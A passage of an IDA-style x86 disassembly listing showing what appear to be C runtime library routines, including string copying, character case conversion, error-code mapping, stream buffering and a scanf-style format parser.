
locret_420288:				; CODE XREF: sub_42026D+7j
		retn
sub_42026D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420289	proc near		; CODE XREF: sub_41B9D1+2Bp
					; sub_41B9D1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DCDBC, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_4202AD
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_420310
; ---------------------------------------------------------------------------


loc_4202AD:				; CODE XREF: sub_420289+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_4202F2
		mov	ecx, [ebp+arg_4]


loc_4202B8:				; CODE XREF: sub_420289+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DCEC1[esi], 4
		mov	[edi], al
		jz	short loc_4202DC
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_4202E8
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202EE
		jmp	short loc_4202E2
; ---------------------------------------------------------------------------


loc_4202DC:				; CODE XREF: sub_420289+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202F2


loc_4202E2:				; CODE XREF: sub_420289+51j
		test	edx, edx
		jnz	short loc_4202B8
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------


loc_4202E8:				; CODE XREF: sub_420289+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------


loc_4202EE:				; CODE XREF: sub_420289+4Fj
		and	byte ptr [edi-2], 0


loc_4202F2:				; CODE XREF: sub_420289+2Aj
					; sub_420289+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_42030D
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_42030D:				; CODE XREF: sub_420289+6Fj
		mov	eax, [ebp+arg_0]


loc_420310:				; CODE XREF: sub_420289+22j
		pop	edi
		pop	ebp
		retn
sub_420289	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420313	proc near		; CODE XREF: sub_41BBBD+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBA14, 0
		push	ebx
		jnz	short loc_42033E
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_4203DC
		cmp	eax, 7Ah
		jg	loc_4203DC
		sub	eax, 20h
		jmp	loc_4203DC
; ---------------------------------------------------------------------------


loc_42033E:				; CODE XREF: sub_420313+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420371
		cmp	dword_43CBE4, 1
		jle	short loc_42035E
		push	2
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420369
; ---------------------------------------------------------------------------


loc_42035E:				; CODE XREF: sub_420313+3Dj
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_420369:				; CODE XREF: sub_420313+49j
		test	eax, eax
		jnz	short loc_420371


loc_42036D:				; CODE XREF: sub_420313+AFj
		mov	eax, ebx
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_420371:				; CODE XREF: sub_420313+34j
					; sub_420313+58j
		mov	edx, off_43C9D8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420394
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_42039D
; ---------------------------------------------------------------------------


loc_420394:				; CODE XREF: sub_420313+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_42039D:				; CODE XREF: sub_420313+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DBA14
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_42036D
		cmp	eax, 1
		jnz	short loc_4203CF
		movzx	eax, [ebp+var_4]
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_4203CF:				; CODE XREF: sub_420313+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_4203DC:				; CODE XREF: sub_420313+14j
					; sub_420313+1Dj ...
		pop	ebx
		leave
		retn
sub_420313	endp


; =============== S U B	R O U T	I N E =======================================



sub_4203DF	proc near		; CODE XREF: sub_41BDDC+1Dp
					; sub_41D3BE+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DB95C, ecx
		mov	eax, offset dword_43CCF0


loc_4203F0:				; CODE XREF: sub_4203DF+1Ej
		cmp	ecx, [eax]
		jz	short loc_420414
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43CE58
		jl	short loc_4203F0
		cmp	ecx, 13h
		jb	short loc_420421
		cmp	ecx, 24h
		ja	short loc_420421
		mov	dword_4DB958, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420414:				; CODE XREF: sub_4203DF+13j
		mov	eax, dword_43CCF4[edx*8]
		mov	dword_4DB958, eax
		retn
; ---------------------------------------------------------------------------


loc_420421:				; CODE XREF: sub_4203DF+23j
					; sub_4203DF+28j
		cmp	ecx, 0BCh
		jb	short loc_42043B
		cmp	ecx, 0CAh
		mov	dword_4DB958, 8
		jbe	short locret_420445


loc_42043B:				; CODE XREF: sub_4203DF+48j
		mov	dword_4DB958, 16h

locret_420445:				; CODE XREF: sub_4203DF+5Aj
		retn
sub_4203DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_420446	proc near		; CODE XREF: sub_41BE06+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jz	short loc_4204CF
		cmp	esi, offset dword_43D0E8
		jnz	short loc_420464
		xor	eax, eax
		jmp	short loc_42046F
; ---------------------------------------------------------------------------


loc_420464:				; CODE XREF: sub_420446+18j
		cmp	esi, offset dword_43D108
		jnz	short loc_4204CF
		push	1
		pop	eax


loc_42046F:				; CODE XREF: sub_420446+1Cj
		inc	dword_4DBB40
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_4204CF
		cmp	dword_4DB9E4[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DB9E4h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_4204B5
		push	ebx
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_4204B5
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_4204C2
; ---------------------------------------------------------------------------


loc_4204B5:				; CODE XREF: sub_420446+4Dj
					; sub_420446+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_4204C2:				; CODE XREF: sub_420446+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4204CF:				; CODE XREF: sub_420446+10j
					; sub_420446+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420446	endp


; =============== S U B	R O U T	I N E =======================================



sub_4204D3	proc near		; CODE XREF: sub_41BE06+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_4204FD
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_42050E
		push	esi
		call	sub_41DB8B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4204FD:				; CODE XREF: sub_4204D3+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_42050E
		push	eax
		call	sub_41DB8B
		pop	ecx


loc_42050E:				; CODE XREF: sub_4204D3+10j
					; sub_4204D3+32j
		pop	esi
		retn
sub_4204D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420510	proc near		; CODE XREF: sub_41C645+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_420F16
		mov	edi, [ebp+arg_0]
		jmp	short loc_42053F
; ---------------------------------------------------------------------------


loc_42053A:				; CODE XREF: sub_420510+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_42053F:				; CODE XREF: sub_420510+28j
		cmp	dword_43CBE4, 1
		jle	short loc_420557
		movzx	eax, al
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420566
; ---------------------------------------------------------------------------


loc_420557:				; CODE XREF: sub_420510+36j
		mov	ecx, off_43C9D8
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_420566:				; CODE XREF: sub_420510+45j
		cmp	eax, ebx
		jz	short loc_4205A0
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_420F9D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_420F86
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		add	esp, 0Ch


loc_42058E:				; CODE XREF: sub_420510+8Ej
		test	eax, eax
		jz	short loc_4205A0
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		pop	ecx
		jmp	short loc_42058E
; ---------------------------------------------------------------------------


loc_4205A0:				; CODE XREF: sub_420510+58j
					; sub_420510+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_420E82
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_4205D7:				; CODE XREF: sub_420510+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43CBE4, 1
		jle	short loc_4205F4
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420603
; ---------------------------------------------------------------------------


loc_4205F4:				; CODE XREF: sub_420510+D3j
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420603:				; CODE XREF: sub_420510+E2j
		test	eax, eax
		jz	short loc_420619
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420619:				; CODE XREF: sub_420510+F5j
		cmp	ebx, 4Eh
		jg	short loc_42065C
		jz	short loc_42067E
		cmp	ebx, 2Ah
		jz	short loc_420657
		cmp	ebx, 46h
		jz	short loc_42067E
		cmp	ebx, 49h
		jz	short loc_420639
		cmp	ebx, 4Ch
		jnz	short loc_42066B
		inc	[ebp+var_D]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420639:				; CODE XREF: sub_420510+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_42066B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_42066B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420657:				; CODE XREF: sub_420510+113j
		inc	[ebp+var_E]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_42065C:				; CODE XREF: sub_420510+10Cj
		cmp	ebx, 68h
		jz	short loc_420678
		cmp	ebx, 6Ch
		jz	short loc_420670
		cmp	ebx, 77h
		jz	short loc_420673


loc_42066B:				; CODE XREF: sub_420510+122j
					; sub_420510+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420670:				; CODE XREF: sub_420510+154j
		inc	[ebp+var_D]


loc_420673:				; CODE XREF: sub_420510+159j
		inc	[ebp+var_5]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420678:				; CODE XREF: sub_420510+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_42067E:				; CODE XREF: sub_420510+107j
					; sub_420510+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_4205D7
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_4206A3
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_4206A3:				; CODE XREF: sub_420510+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_4206C1
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_4206BD
		cmp	al, 43h
		jz	short loc_4206BD
		or	[ebp+var_5], 0FFh
		jmp	short loc_4206C1
; ---------------------------------------------------------------------------


loc_4206BD:				; CODE XREF: sub_420510+1A1j
					; sub_420510+1A5j
		mov	[ebp+var_5], 1


loc_4206C1:				; CODE XREF: sub_420510+19Bj
					; sub_420510+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_4206FA
		cmp	esi, 63h
		jz	short loc_4206EB
		cmp	esi, 7Bh
		jz	short loc_4206EB
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_420F9D
		pop	ecx
		jmp	short loc_4206F6
; ---------------------------------------------------------------------------


loc_4206EB:				; CODE XREF: sub_420510+1C5j
					; sub_420510+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C


loc_4206F6:				; CODE XREF: sub_420510+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_4206FA:				; CODE XREF: sub_420510+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_42070A
		cmp	[ebp+var_C], eax
		jz	loc_420EE6


loc_42070A:				; CODE XREF: sub_420510+1EFj
		cmp	esi, 6Fh
		jg	loc_420971
		jz	loc_420C23
		cmp	esi, 63h
		jz	loc_42094E
		cmp	esi, 64h
		jz	loc_420C23
		jle	loc_42099B
		cmp	esi, 67h
		jle	short loc_42076E
		cmp	esi, 69h
		jz	short loc_420756
		cmp	esi, 6Eh
		jnz	loc_42099B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_420E51
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420756:				; CODE XREF: sub_420510+229j
		push	64h
		pop	esi


loc_420759:				; CODE XREF: sub_420510+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_4209E3
		mov	[ebp+var_17], 1
		jmp	loc_4209E8
; ---------------------------------------------------------------------------


loc_42076E:				; CODE XREF: sub_420510+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42078A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42078F
; ---------------------------------------------------------------------------


loc_42078A:				; CODE XREF: sub_420510+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_4207A6


loc_42078F:				; CODE XREF: sub_420510+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207A9
; ---------------------------------------------------------------------------


loc_4207A6:				; CODE XREF: sub_420510+27Dj
		mov	edi, [ebp+arg_0]


loc_4207A9:				; CODE XREF: sub_420510+294j
		cmp	[ebp+var_20], 0
		jz	short loc_4207B8
		cmp	[ebp+var_C], 15Dh
		jle	short loc_4207BF


loc_4207B8:				; CODE XREF: sub_420510+29Dj
		mov	[ebp+var_C], 15Dh


loc_4207BF:				; CODE XREF: sub_420510+2A6j
					; sub_420510+2F2j
		cmp	dword_43CBE4, 1
		jle	short loc_4207D4
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4207DF
; ---------------------------------------------------------------------------


loc_4207D4:				; CODE XREF: sub_420510+2B6j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4207DF:				; CODE XREF: sub_420510+2C2j
		test	eax, eax
		jz	short loc_420804
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420804
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207BF
; ---------------------------------------------------------------------------


loc_420804:				; CODE XREF: sub_420510+2D1j
					; sub_420510+2DBj
		cmp	byte_43CBE8, bl
		jnz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		mov	al, byte_43CBE8
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_42082D:				; CODE XREF: sub_420510+360j
		cmp	dword_43CBE4, 1
		jle	short loc_420842
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42084D
; ---------------------------------------------------------------------------


loc_420842:				; CODE XREF: sub_420510+324j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_42084D:				; CODE XREF: sub_420510+330j
		test	eax, eax
		jz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42082D
; ---------------------------------------------------------------------------


loc_420872:				; CODE XREF: sub_420510+2FAj
					; sub_420510+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_42090A
		cmp	ebx, 65h
		jz	short loc_42088A
		cmp	ebx, 45h
		jnz	loc_42090A


loc_42088A:				; CODE XREF: sub_420510+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_4208B1
		mov	[esi], al
		inc	esi
		jmp	short loc_4208B6
; ---------------------------------------------------------------------------


loc_4208B1:				; CODE XREF: sub_420510+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_4208D4


loc_4208B6:				; CODE XREF: sub_420510+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_4208C5
		and	[ebp+var_C], eax
		jmp	short loc_4208D4
; ---------------------------------------------------------------------------


loc_4208C5:				; CODE XREF: sub_420510+3AEj
					; sub_420510+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4208D4:				; CODE XREF: sub_420510+3A4j
					; sub_420510+3B3j
		cmp	dword_43CBE4, 1
		jle	short loc_4208E9
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4208F4
; ---------------------------------------------------------------------------


loc_4208E9:				; CODE XREF: sub_420510+3CBj
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4208F4:				; CODE XREF: sub_420510+3D7j
		test	eax, eax
		jz	short loc_42090A
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_4208C5
; ---------------------------------------------------------------------------


loc_42090A:				; CODE XREF: sub_420510+366j
					; sub_420510+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43CF88
		add	esp, 0Ch
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_42094E:				; CODE XREF: sub_420510+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_42095D
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_42095D:				; CODE XREF: sub_420510+441j
		cmp	[ebp+var_5], 0
		jle	short loc_420967
		mov	[ebp+var_16], 1


loc_420967:				; CODE XREF: sub_420510+451j
		mov	edi, offset dword_43CE60
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_420971:				; CODE XREF: sub_420510+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_420C1F
		sub	eax, 3
		jz	loc_420A6D
		dec	eax
		dec	eax
		jz	loc_420C23
		sub	eax, 3
		jz	loc_420759
		sub	eax, 3
		jz	short loc_4209BF


loc_42099B:				; CODE XREF: sub_420510+21Bj
					; sub_420510+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_420EE6
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_4209BF:				; CODE XREF: sub_420510+489j
		cmp	[ebp+var_5], 0
		jle	short loc_4209C9
		mov	[ebp+var_16], 1


loc_4209C9:				; CODE XREF: sub_420510+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_420A80
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_4209E3:				; CODE XREF: sub_420510+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_420A0A


loc_4209E8:				; CODE XREF: sub_420510+259j
		dec	[ebp+var_C]
		jnz	short loc_4209F9
		cmp	[ebp+var_20], 0
		jz	short loc_4209F9
		mov	[ebp+var_F], 1
		jmp	short loc_420A0A
; ---------------------------------------------------------------------------


loc_4209F9:				; CODE XREF: sub_420510+4DBj
					; sub_420510+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420A0A:				; CODE XREF: sub_420510+4D6j
					; sub_420510+4E7j
		cmp	ebx, 30h
		jnz	loc_420C58
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_420A58
		cmp	bl, 58h
		jz	short loc_420A58
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_420A42
		push	6Fh


loc_420A3C:				; CODE XREF: sub_420510+55Bj
		pop	esi
		jmp	loc_420C58
; ---------------------------------------------------------------------------


loc_420A42:				; CODE XREF: sub_420510+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_420C55
; ---------------------------------------------------------------------------


loc_420A58:				; CODE XREF: sub_420510+517j
					; sub_420510+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_420A3C
; ---------------------------------------------------------------------------


loc_420A6D:				; CODE XREF: sub_420510+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_420A77
		mov	[ebp+var_16], 1


loc_420A77:				; CODE XREF: sub_420510+561j
		mov	edi, offset dword_43CE58


loc_420A7C:				; CODE XREF: sub_420510+45Cj
					; sub_420510+4CEj
		or	[ebp+var_18], 0FFh


loc_420A80:				; CODE XREF: sub_420510+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420AA4
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_420AA4
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420AA4:				; CODE XREF: sub_420510+584j
					; sub_420510+589j
		mov	dl, [ebp+var_35]


loc_420AA7:				; CODE XREF: sub_420510+592j
					; sub_420510+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_420B0C
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_420AF3
		test	dl, dl
		jz	short loc_420AF3
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_420AF3
		inc	edi
		cmp	dl, cl
		jnb	short loc_420AC6
		mov	al, cl
		jmp	short loc_420ACA
; ---------------------------------------------------------------------------


loc_420AC6:				; CODE XREF: sub_420510+5B0j
		mov	al, dl
		mov	dl, cl


loc_420ACA:				; CODE XREF: sub_420510+5B4j
		cmp	dl, al
		ja	short loc_420AEF
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_420AD7:				; CODE XREF: sub_420510+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_420AD7


loc_420AEF:				; CODE XREF: sub_420510+5BCj
		xor	dl, dl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420AF3:				; CODE XREF: sub_420510+5A0j
					; sub_420510+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420B0C:				; CODE XREF: sub_420510+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_420F16
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420B1E
		mov	[ebp+arg_4], edi


loc_420B1E:				; CODE XREF: sub_420510+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420B35:				; CODE XREF: sub_420510+6BCj
					; sub_420510+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_420B49
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_420BE5


loc_420B49:				; CODE XREF: sub_420510+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_420BD9
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
